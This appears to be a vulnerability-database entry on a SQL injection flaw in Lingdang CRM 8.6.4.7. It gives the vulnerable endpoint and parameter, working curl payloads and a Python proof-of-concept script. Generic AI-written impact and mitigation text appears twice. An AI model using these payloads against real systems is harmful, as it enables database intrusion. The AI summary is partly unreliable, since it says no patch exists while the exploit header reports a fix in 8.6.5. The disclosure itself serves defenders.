Lingdang CRM 8.6.4.7 - SQL Injection
Lingdang CRM 8.6.4.7 - SQL Injection
AI Analysis
Technical Summary
The Lingdang CRM version 8.6.4.7 is affected by a SQL Injection vulnerability. SQL Injection is a critical web application security flaw that allows an attacker to manipulate backend SQL queries by injecting malicious input into application fields that are not properly sanitized or parameterized. This vulnerability in Lingdang CRM could allow an attacker to execute arbitrary SQL commands against the underlying database, potentially leading to unauthorized data access, data modification, or deletion. The presence of exploit code written in Python indicates that the vulnerability can be actively exploited with automated scripts, increasing the risk of widespread attacks. Although specific affected versions are not listed beyond 8.6.4.7, the vulnerability is tied to this particular release. No official patches or fixes have been linked, suggesting that organizations using this CRM version may remain exposed until a vendor update is released or mitigations are applied. The lack of known exploits in the wild currently suggests limited active exploitation, but the availability of public exploit code could change this rapidly. SQL Injection vulnerabilities typically arise from insufficient input validation and lack of prepared statements or parameterized queries in the application code.
Potential Impact
For European organizations using Lingdang CRM 8.6.4.7, this SQL Injection vulnerability poses significant risks to the confidentiality, integrity, and availability of their customer relationship management data. Successful exploitation could lead to unauthorized disclosure of sensitive customer information, including personal data protected under GDPR, resulting in regulatory penalties and reputational damage. Data integrity could be compromised by unauthorized modification or deletion of CRM records, disrupting business operations and decision-making processes. Additionally, attackers could leverage this vulnerability to escalate privileges within the database or pivot to other internal systems, increasing the overall attack surface. The availability of automated exploit scripts lowers the barrier for attackers, potentially leading to rapid exploitation attempts. Given the critical role of CRM systems in managing customer interactions and business workflows, disruption or data breaches could have cascading effects on sales, customer trust, and compliance obligations.
Mitigation Recommendations
European organizations should immediately assess their use of Lingdang CRM version 8.6.4.7 and prioritize upgrading to a patched version once available from the vendor. In the absence of an official patch, organizations should implement web application firewalls (WAFs) with specific SQL Injection detection and prevention rules tailored to Lingdang CRM traffic patterns. Input validation and sanitization should be enforced at the application layer, ensuring that all user-supplied data is properly escaped or parameterized before database queries are executed. Database accounts used by the CRM should have the least privileges necessary to limit the impact of a successful injection. Regular security testing, including automated vulnerability scanning and manual penetration testing focused on SQL Injection, should be conducted. Monitoring and alerting on unusual database query patterns or error messages can help detect exploitation attempts early. Finally, organizations should review and enhance their incident response plans to quickly contain and remediate any exploitation events.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain
Indicators of Compromise
- exploit-code: # Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection # Google Dork: N/A # Date: 2025-08-19 # Exploit Author: Beatriz Fresno Naumova # Vendor: Shanghai Lingdang Information Technology) # Software Link: (N/A – commercial product) # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory) # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency) # CVE : CVE-2025-9140 # Summary # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the # 'getvaluestring' parameter. An unauthenticated remote attacker can perform boolean/time-based # blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+. # Route # /crm/crmapi/erp/tabdetail_moduleSave.php # Parameter # getvaluestring (GET or POST) # Notes # * This PoC does NOT target a live site. Replace TARGET with a lab host you own. # * Demonstrates time-based blind (SLEEP) and boolean-based payloads. # --- Quick PoC with curl (time-based blind) --- # Expect ~5s response delay on vulnerable targets. # GET variant: curl -i -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring='||(SELECT SLEEP(5))--+-" # POST variant: curl -i -k -X POST "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php" \ --data "getvaluestring='||(SELECT SLEEP(5))--+-" # --- Boolean-based example (response/body differences may vary by deployment) --- curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=1-- -" -o /tmp/true.html curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=2-- -" -o /tmp/false.html # Compare /tmp/true.html vs /tmp/false.html for observable differences. # --- Python 3 PoC (time-based) --- # Save as lingdang_sqli_poc.py and run: python3 lingdang_sqli_poc.py http://TARGET import sys, time, requests def test_time_sqli(base): url_get = f"{base.rstrip('/')}/crm/crmapi/erp/tabdetail_moduleSave.php" payload = "'||(SELECT SLEEP(5))--+-" try: t0 = time.time() r = requests.get(url_get, params={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via GET.") else: print("[-] No significant delay observed via GET.") except Exception as e: print(f"[!] GET error: {e}") try: t0 = time.time() r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via POST.") else: print("[-] No significant delay observed via POST.") except Exception as e: print(f"[!] POST error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} http://TARGET") sys.exit(1) requests.packages.urllib3.disable_warnings() test_time_sqli(sys.argv[1]) # --- Impact --- # Confidentiality, integrity, availability compromise via SQL injection (CWE-89). # --- Mitigations --- # 1) Use parameterized queries / prepared statements for getvaluestring. # 2) Server-side input validation and allow-listing for the parameter. # 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route. # --- Disclosure --- # Public identifiers: CVE-2025-9140 (VulDB VDB-320520). # Vendor reportedly fixed in 8.6.5+ with parameterized queries.
Lingdang CRM 8.6.4.7 - SQL Injection
Description
Lingdang CRM 8.6.4.7 - SQL Injection
AI-Powered Analysis
Technical Analysis
The Lingdang CRM version 8.6.4.7 is affected by a SQL Injection vulnerability. SQL Injection is a critical web application security flaw that allows an attacker to manipulate backend SQL queries by injecting malicious input into application fields that are not properly sanitized or parameterized. This vulnerability in Lingdang CRM could allow an attacker to execute arbitrary SQL commands against the underlying database, potentially leading to unauthorized data access, data modification, or deletion. The presence of exploit code written in Python indicates that the vulnerability can be actively exploited with automated scripts, increasing the risk of widespread attacks. Although specific affected versions are not listed beyond 8.6.4.7, the vulnerability is tied to this particular release. No official patches or fixes have been linked, suggesting that organizations using this CRM version may remain exposed until a vendor update is released or mitigations are applied. The lack of known exploits in the wild currently suggests limited active exploitation, but the availability of public exploit code could change this rapidly. SQL Injection vulnerabilities typically arise from insufficient input validation and lack of prepared statements or parameterized queries in the application code.
Potential Impact
For European organizations using Lingdang CRM 8.6.4.7, this SQL Injection vulnerability poses significant risks to the confidentiality, integrity, and availability of their customer relationship management data. Successful exploitation could lead to unauthorized disclosure of sensitive customer information, including personal data protected under GDPR, resulting in regulatory penalties and reputational damage. Data integrity could be compromised by unauthorized modification or deletion of CRM records, disrupting business operations and decision-making processes. Additionally, attackers could leverage this vulnerability to escalate privileges within the database or pivot to other internal systems, increasing the overall attack surface. The availability of automated exploit scripts lowers the barrier for attackers, potentially leading to rapid exploitation attempts. Given the critical role of CRM systems in managing customer interactions and business workflows, disruption or data breaches could have cascading effects on sales, customer trust, and compliance obligations.
Mitigation Recommendations
European organizations should immediately assess their use of Lingdang CRM version 8.6.4.7 and prioritize upgrading to a patched version once available from the vendor. In the absence of an official patch, organizations should implement web application firewalls (WAFs) with specific SQL Injection detection and prevention rules tailored to Lingdang CRM traffic patterns. Input validation and sanitization should be enforced at the application layer, ensuring that all user-supplied data is properly escaped or parameterized before database queries are executed. Database accounts used by the CRM should have the least privileges necessary to limit the impact of a successful injection. Regular security testing, including automated vulnerability scanning and manual penetration testing focused on SQL Injection, should be conducted. Monitoring and alerting on unusual database query patterns or error messages can help detect exploitation attempts early. Finally, organizations should review and enhance their incident response plans to quickly contain and remediate any exploitation events.
Affected Countries
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Technical Details
- Edb Id
- 52420
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Lingdang CRM 8.6.4.7 - SQL Injection
# Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection # Google Dork: N/A # Date: 2025-08-19 # Exploit Author: Beatriz Fresno Naumova # Vendor: Shanghai Lingdang Information Technology) # Software Link: (N/A – commercial product) # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory) # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency) # CVE : CVE-2025-9140 # Summary # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the #... (3118 more characters)
Threat ID: 68ae5e7aad5a09ad005d88c5
Added to database: 8/27/2025, 1:25:14 AM
Last enriched: 9/4/2025, 1:35:38 AM
Last updated: 9/4/2025, 10:24:36 PM
Views: 33
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